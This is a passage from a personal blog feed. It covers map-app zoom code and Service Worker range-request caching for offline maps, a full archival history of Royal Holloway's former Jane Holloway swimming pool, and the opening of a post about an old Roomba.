&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// x and y are the mouse coordinates, and zoom_delta is the amount to zoom by
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;new_zoom&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;zoom_delta&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x_offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ((&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y_offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt; &lt;span style="color:#f92672"&gt;*=&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;zoom_delta&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x_offset&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;x_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y_offset&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;y_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;new_zoom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="range-requests-and-service-worker-abuse"&gt;Range requests and service worker abuse&lt;/h2&gt;
&lt;p&gt;My next goal was to make the app work offline. Naïvely, this is simple &amp;mdash; just store the whole map file in a Service Worker cache, then &lt;code&gt;fetch()&lt;/code&gt; it from there when offline. This approach worked fine while I was initially testing the app, given I was only using small map files (say &amp;gt;10 MB). Unfortunately, country sized maps will be much larger &amp;mdash; the map file for England is about 1 GB. While it is actually possible to &lt;code&gt;fetch()&lt;/code&gt; and store a 1 GB blob in a Service Worker in modern browsers, having to download the entire map file on launch is terrible UX. I had two design goals in conflict:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The app should work instantly online, without a lengthy download period&lt;/li&gt;
&lt;li&gt;The app should work offline&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When online, we could do with some way of only partially loading the file, loading more data as the user pans the map. This is where range requests become useful, allowing you to fetch certain byte range(s) from a file &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. The Mapsforge file format was not designed with this use case in mind, but it is actually fairly efficient. To be able to read a map tile from its Z/X/Y coordinate, we first need to look up its byte position in the file, using the indexes. As this is a common operation, and we have significant network latency, it makes sense to cache the indexes at startup, as they are actually fairly small. For example in the England map file, in the most detailed sub-file (at zoom 14), there are about 200,000 tiles, and each index entry is 5 bytes. This means that in total the largest index is about 200,000 × 5 = 1 MB.&lt;/p&gt;
&lt;p&gt;Unfortunately, this has broken offline support, as we can we no longer have the whole file available to stash in the Service Worker. While Service Workers can serve HTTP range requests from a larger cached file (useful for storing video offline), there is no mechanism to store only portions of a larger file. This is where I went slightly off-piste. The general idea of Service Workers is that they are a proxy between the browser and the network, meaning you can intercept and decide how requests are replied to. Normally they are quite boilerplate, or use abstractions like Google&amp;rsquo;s Workbox &amp;mdash; however you are completely free to implement your own custom logic.&lt;/p&gt;
&lt;p&gt;Therefore, I implemented a scheme that allowed byte ranges to be stored, by inserting them into the Service Worker cache as separate request/response pairs. When a request was intercepted by a service worker, it would first check if it already had the byte-range, then if not, fetch it and cache it. The beauty of this approach is that it is completely transparent to the rest of the app, which just acts as if it is fetching ranges from the network. The ugliness of it is that the Service Worker cache is designed to store pairs of &lt;code&gt;Request&lt;/code&gt; and &lt;code&gt;Response&lt;/code&gt; objects. You retrieve the &lt;code&gt;Response&lt;/code&gt; objects by passing the URL you want into &lt;code&gt;cache.match()&lt;/code&gt;. But as we are dealing with byte ranges of a single file, we only have a single URL! To make multiple URLs I ended up appending a &lt;code&gt;?bytes=${start}-${end}&lt;/code&gt; query string to each range stored in the cache, which is quite an offensive hack.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_c89d46433f47618d.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_f9ddcbd78b5215d7.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_ac6b4d0c6bdfc7d0.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_74dd63a7356f629a.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_b3626e5a66e4338b.jpg'
width="987"
height="665"
loading="lazy"
alt='Screenshot of Chrome Dev Tools, Application &amp;gt; Storage &amp;gt; Cache storage page'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Storing byte ranges in the Service Worker cache, using the manufactured &lt;code&gt;?bytes&lt;/code&gt; query string variable
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This gave me the cache as you pan part of the solution, but I still wanted the user to be able to download a larger area for offline use, without downloading the whole 1 GB map. The simple approach to this is just fetching the byte ranges for each tile required, but if you are downloading a region this can quickly add up into thousands of tiles. You don&amp;rsquo;t want to be making that many HTTP requests all at once. Luckily tiles next to each other in the X dimension are stored in contiguous bytes, meaning you instead only have to make a single request for each row of tiles, effectively square-rooting the total (assuming your screen is square).&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I ended up contributing &lt;a href="https://github.com/mapsforge/mapsforge/pull/1374"
target="_blank" rel="noreferrer noopener"
&gt;a PR&lt;/a&gt; to clarify the wording of the specification.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;This scale factor actually needs increase exponentially, otherwise the zooming will get slower and slower as you zoom in.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;I was inspired to take this approach by the &lt;a href="https://protomaps.com/"
target="_blank" rel="noreferrer noopener"
&gt;Protomaps project&lt;/a&gt;, who built a custom map format specifically for use with range requests.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>History of the Jane Holloway Swimming Pool</title><link>https://george.honeywood.org.uk/blog/jane-holloway-hall/</link><pubDate>Mon, 20 Feb 2023 12:19:09 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/jane-holloway-hall/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_ac612a68cae1c04b.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_6a7403f23e240ae5.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_7be87c33ba5100be.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_4d566ffce011d20e.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_f10b51625a4039d3.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_61f01312cdfcf0d8.jpg'
width="4457"
height="3238"
alt='Founder&amp;#39;s at sunrise'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;I study at Royal Holloway, a university probably most well known for the iconic Founder&amp;rsquo;s Building. According to Wikipedia, it is an example of French-Renaissance style architecture. Founder&amp;rsquo;s is often used in TV and film as visual shorthand for a grandiose university or school setting, starring in Avengers: Age of Ultron, The Crown, You, and most importantly, Midsomer Murders &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_f5c7071740b55f8a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_6da6ccf40bedd3a2.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_9c544a9036e6b7ee.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_53564dda85d7a07f.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_22b6ce2eda3abeae.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_bd476017b902c339.jpg'
width="4624"
height="3472"
alt='Entrance to Jane Holloway Hall'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;On the wooded slopes below Founder&amp;rsquo;s is the grade two listed Jane Holloway Hall, which was formerly an indoor heated swimming pool. It was built in 1893, so about a decade after Founder&amp;rsquo;s was constructed. This completion date would make it one of the earlier examples in the UK. It is not nearly as visually impressive as Founder&amp;rsquo;s, but it suits the wooded environment well. Unfortunately, they decided to pebble dash it, which I think is a bad call on &lt;em&gt;any&lt;/em&gt; building. Fortunately, the interior has the brickwork exposed, and is notable for its &amp;ldquo;elegant pinjointed steel roof trusses&amp;rdquo; &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been curious about this building since I started studying here. There isn&amp;rsquo;t much about it online. On campus there are rumours that a student once drowned in the pool, and since haunts the corridors of Founder&amp;rsquo;s. Randomly I found a &lt;a href="https://www.thestudentroom.co.uk/showthread.php?t=903291"
target="_blank" rel="noreferrer noopener"
&gt;13-year-old thread&lt;/a&gt; on Student Room, with this picture attached, which piqued my interest.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_dfc50de1346b4f91.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_9cda53d083e4bfb3.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_f3ec1598046f5c70.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_552fde156d9d1242.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_c642b3beb9dadc.jpg'
width="1269"
height="729"
loading="lazy"
alt='Jane Holloway Hall interior'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Jane Holloway Hall, undated (© Royal Holloway Archives)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This curiosity lingered on for a couple of years until I started swimming regularly. These days students have to make the 30-minute walk to Egham Orbit on the other side of the M25. Out of laziness, I wanted to find out why the university got rid of the more conveniently located campus swimming pool.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_dba5c1d39cde3903.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_2512130805ab0241.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_f183da201f88ccc2.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_ea3794881bbe50c.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_a8c4b69eab038804.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_7c9835fd21eb2ef2.jpg'
width="2550"
height="1952"
loading="lazy"
alt='Jane Holloway Hall interior 2'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Jane Holloway Hall, 1906 (© Royal Holloway Archives, ref: &lt;a href="https://www.flickr.com/photos/rhularchives/3811874334"
target="_blank" rel="noreferrer noopener"
&gt;RHC PH/213/1&lt;/a&gt;)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;I figured the best place to find this out would be the university archives. From the Student Room thread, I knew that the pool was removed at some point in the 1980s. A brief search of the online archive catalogue returned some results that seemed like they might be relevant.&lt;/p&gt;
&lt;p&gt;Here I have to thank the Archivist, who very helpfully identified magazines and other articles that referenced Jane Holloway Hall. As the documents are yet to be digitized, I had to book a visit to the archive reading room. This was the first time I have ever used an archive &amp;mdash; I&amp;rsquo;d strongly recommend the experience. It&amp;rsquo;s quite weird seeing the world from a perspective 40 years in the past.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4a603e8be89031ee.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4084b75249ba4755.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_f90c0059f242eb0.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4102491e473e2ba9.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_a223bbf2c2988503.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_46c02a0bcac9509b.jpg'
width="3269"
height="4624"
loading="lazy"
alt='Fortnight News Bulletin Edition 2'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Fortnight News Bulletin Edition 2 (© Royal Holloway Archives, ref: &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9361"
target="_blank" rel="noreferrer noopener"
&gt;RHBNC/CM/Pubs/2/1/2&lt;/a&gt;)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Pretty soon I found my answer in the very 1980s Fortnight university &amp;ldquo;News Bulletin&amp;rdquo; &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. I&amp;rsquo;ll include the text of the article here verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;h4 id="ignominious-end-for-victorian-swimming-pool"&gt;Ignominious end for Victorian swimming pool?&lt;/h4&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_aae5649bf86da97a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_274f40c41e7fa3cb.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_1cac1d87b34c3c51.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_9757a50ed00d1a96.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_a422e9216694126d.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_b31fc183353e5e03.jpg'
width="3472"
height="2560"
loading="lazy"
alt='Tree damage to Jane Holloway Hall'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The indoor Victorian swimming pool at Royal Holloway is to remain unrepaired for the forseeable future. In 1981 it sustained considerable damage when a tree fell onto the roof of the building during a storm. Last January it was recommended by the Joint Standing Committee that the cost of repairing and modernizing the pool and the building, over £250,000, was too great to be considered at the present time. Even to have brought the pool up to working order for summer-time use only would have cost £100,000.&lt;/p&gt;
&lt;p&gt;The swimming pool, which is situtated to the south of the Founders building, requires considerable outside renovation, as well as reflooring and the renewal of electrical equipment. It was considered that as far as the funds available to be spent on sports facilities were concerned, the swimming pool could not be regarded as a priority. Hence the matter has been laid to rest for the time being.&lt;/p&gt;
&lt;p&gt;The swimming pool was built in 1893 and cost a &amp;lsquo;mere&amp;rsquo; £1,995 9s 2d. Originally the water used in the pool was taken from the boating pond, which lies further up the slope towards Founders, and was heated as it passed through the swimming pool boiler. The boating pond is fed by constant underground springs, which can refill it within 36 hours. The water which went into the pool was alleged to be always &amp;lsquo;clean and fresh&amp;rsquo; and the supply was sufficient for the pool to be refilled twice each week (on Thursdays and Saturdays). Since the water was fresh no maintenance work was required.&lt;/p&gt;
&lt;p&gt;In 1935 the College authorities commissioned a study to be carried out on the possible modernization of the swimming pool, and consequently the following year a complete overhaul was done and filtration plants were fitted. The College authorities were worried that chlorinated water would have an adverse effect on cattle which drank from another pond lower down the slope where the used water was deposited!&lt;/p&gt;
&lt;p&gt;The pool had originally been heated from a pipe off the main College heating system. Since it took 4 hours to clean the pool and 12 to 14 hours to refill, it was very expensive to maintain the heating supply.&lt;/p&gt;
&lt;p&gt;Indeed it had such a prejudicial effect on the central system that a coke filled boiler was installed. By 1949 16 tons of coke in total were used each year to run the boiler, and the cost of maintaining the pool came to £13 10d each week.&lt;/p&gt;
&lt;p&gt;The swimming pool remained in full use until 1981 when it was so badly damaged. Few students now remain at the College who have swum in the pool, and because the cost for repair will probably keep increasing it seems unlikely that the pool will ever be reopened for use. Since the state of the building is deteriorating and becoming dangerous, it might soon become expedient to demolish it. It is sad that such an historic building of the last century might come to such an ignominious end.&lt;/p&gt;
&lt;p&gt;GORDON BORELAND&lt;/p&gt;
&lt;p&gt;(Archive Research by Mr P J F Scott, Deputy Secretary)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TL;DR: a tree fell on the building in 1981. The required repairs and modernization would have cost £250,000 in 1983 (about £750,000 today). This seems to me to be a very reasonable sum to pay for repairs to a swimming pool &lt;sup id="fnref:4"&gt;&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref"&gt;4&lt;/a&gt;&lt;/sup&gt;. Presumably the university must have been under some considerable financial strain at the time. This article was comprehensive, providing a full history of the building, and I am grateful to Gordon Boreland and Mr P J F Scott for writing it.&lt;/p&gt;
&lt;p&gt;After 1984 the basement of the building was used as the rock store for the Geology department. This continued until 1992, when it was realized that the damp conditions were causing &amp;ldquo;academically valuable&amp;rdquo; rock specimens to deteriorate &lt;sup id="fnref:5"&gt;&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref"&gt;5&lt;/a&gt;&lt;/sup&gt;. By the centenary of the building, in 1993, it had finally been converted into a &amp;ldquo;multi-purpose flat-floored&amp;rdquo; hall &lt;sup id="fnref1:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. It was then used for lecturing and music rehearsals, with a seated capacity of 150.&lt;/p&gt;
&lt;p&gt;More recently in 2018, the building was once again modernized &amp;mdash; this time to become a space for group exercise, supplementing the relatively small on-campus gym &lt;sup id="fnref:6"&gt;&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref"&gt;6&lt;/a&gt;&lt;/sup&gt;. The interior today is remarkably consistent with pictures from 1906, having retained the exposed brickwork and steel roof trusses, with the caveat that it is now sans swimming pool. The grade two listing should prevent any alterations that would significantly alter its character in the future.&lt;/p&gt;
&lt;p&gt;It would be quite amusing if it were to be converted back into a swimming pool one day. I&amp;rsquo;d be interested if anyone has more pictures of the building in use as a pool &amp;mdash; I&amp;rsquo;m sure there must be some between 1906 and when it was damaged in 1981.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The Crown and You were filming recently, so I don&amp;rsquo;t have any sources (bar campus rumours). Royal Holloway has an &lt;a href="https://www.royalholloway.ac.uk/about-us/our-history/our-story/in-tv-and-film/"
target="_blank" rel="noreferrer noopener"
&gt;official page&lt;/a&gt; listing previous productions.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9947"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/3/43&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href="#fnref1:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9361"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/1/2&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;&lt;a href="https://web.archive.org/web/20230214222905if_/https://watsonbatty.com/wp-content/uploads/2017/06/WBA-Sport-and-Leisure-2019-Final-Int-SML-1.pdf#page=7"
target="_blank" rel="noreferrer noopener"
&gt;According to the architect&lt;/a&gt;, the new-build Egham Orbit leisure centre cost £19 million in 2019, making the £750,000 repair seem pale in comparison.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/10914"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/3/28&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:6"&gt;
&lt;p&gt;See &lt;a href="https://web.archive.org/web/20210123225056/https://www.su.rhul.ac.uk/news/article/surhul/Blog-Gym-Now-In-Shape-After-Summer-Upgrades/"
target="_blank" rel="noreferrer noopener"
&gt;Gym Now In Shape After Summer Upgrade&lt;/a&gt; from the RHSU blog. Note the images are of the gym, not Jane Holloway Hall.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>The Roomba</title><link>https://george.honeywood.org.uk/blog/the-roomba/</link><pubDate>Tue, 17 Jan 2023 14:11:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/the-roomba/</guid><description>&lt;p&gt;For Christmas one of my housemates got us a second-hand Roomba. I tried to not take this too personally. It came from Germany for the princely sum of £60, which got us the Roomba 555 from 2009.&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
muted
width="960"
height="720"
style="aspect-ratio: 960 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/the-roomba/images/docking-960x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/the-roomba/images/docking-960x720.mp4"&gt;/blog/the-roomba/images/docking-960x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Somewhat unsurprisingly, a 14-year-old Roomba is not the cleverest thing. I think this has made me like it more. I&amp;rsquo;ve zoomorphised it to some degree &amp;mdash; it has become our house pet, and is quite like owning an annoying cat. It seems to have two modes of operation; wall following and stochastic (random) bouncing about. This randomness is not particularly efficient.&lt;/p&gt;
